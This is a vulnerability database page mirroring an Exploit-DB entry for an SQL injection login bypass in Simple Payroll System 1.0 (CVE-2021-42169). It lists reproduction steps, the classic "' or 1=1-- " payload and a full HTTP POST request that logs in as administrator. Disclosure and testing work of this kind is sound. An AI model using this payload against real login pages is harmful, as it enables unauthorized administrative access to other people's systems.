Lucene search
+L

Simple Payroll System 1.0 - SQL Injection (SQLi) Authentication Bypass

🗓️ 13 Oct 2021 00:00:00Reported by Yash MahajanType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 390 Views

Simple Payroll System 1.0 SQLi Authentication Bypas

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-42169
22 Oct 202114:15
–attackerkb
circl
Circl
CVE-2021-42169
22 Oct 202118:39
–circl
cnnvd
CNNVD
SQLite SQL injection vulnerability
22 Oct 202100:00
–cnnvd
cve
CVE
CVE-2021-42169
22 Oct 202113:09
–cve
cvelist
Cvelist
CVE-2021-42169
22 Oct 202113:09
–cvelist
euvd
EUVD
EUVD-2021-29152
3 Oct 202520:07
–euvd
nvd
NVD
CVE-2021-42169
22 Oct 202114:15
–nvd
osv_cve
osv_cve
CVE-2021-42169
22 Oct 202114:15
–osv_cve
prion
Prion
Sql injection
22 Oct 202114:15
–prion
ptsecurity
Positive Technologies
PT-2021-23558 · Sqlite Consortium +2 · Sqlite +2
22 Oct 202100:00
–ptsecurity
Rows per page
# Exploit Title: Simple Payroll System 1.0 - SQLi Authentication Bypass
# Date: 2021-10-09
# Exploit Author: Yash Mahajan
# Vendor Homepage: https://www.sourcecodester.com/php/14974/simple-payroll-system-dynamic-tax-bracket-php-using-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple_payroll_0.zip
# Version: 1.0
# Tested on: Windows 10
# Description: Simple Payroll System v1.0 Login page can be bypassed with a SQLi into the username parameter.

Steps To Reproduce:

1 - Navigate to http://localhost/simple_payroll/admin/login.php
2 - Enter the payload into the username field as "' or 1=1-- " without double-quotes and type anything into the password field.
3 - Click on "Login" button and you are logged in as administrator.

Proof Of Concept:

POST /simple_payroll/Actions.php?a=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 37
Origin: http://localhost
Connection: close
Referer: http://localhost/simple_payroll/admin/login.php
Cookie: PHPSESSID=ijad04l4pfb2oec6u2vmi4ll9p
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username='+or+1%3D1--+&password=admin

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 27.5
CVSS 3.19.8
EPSS0.02831
390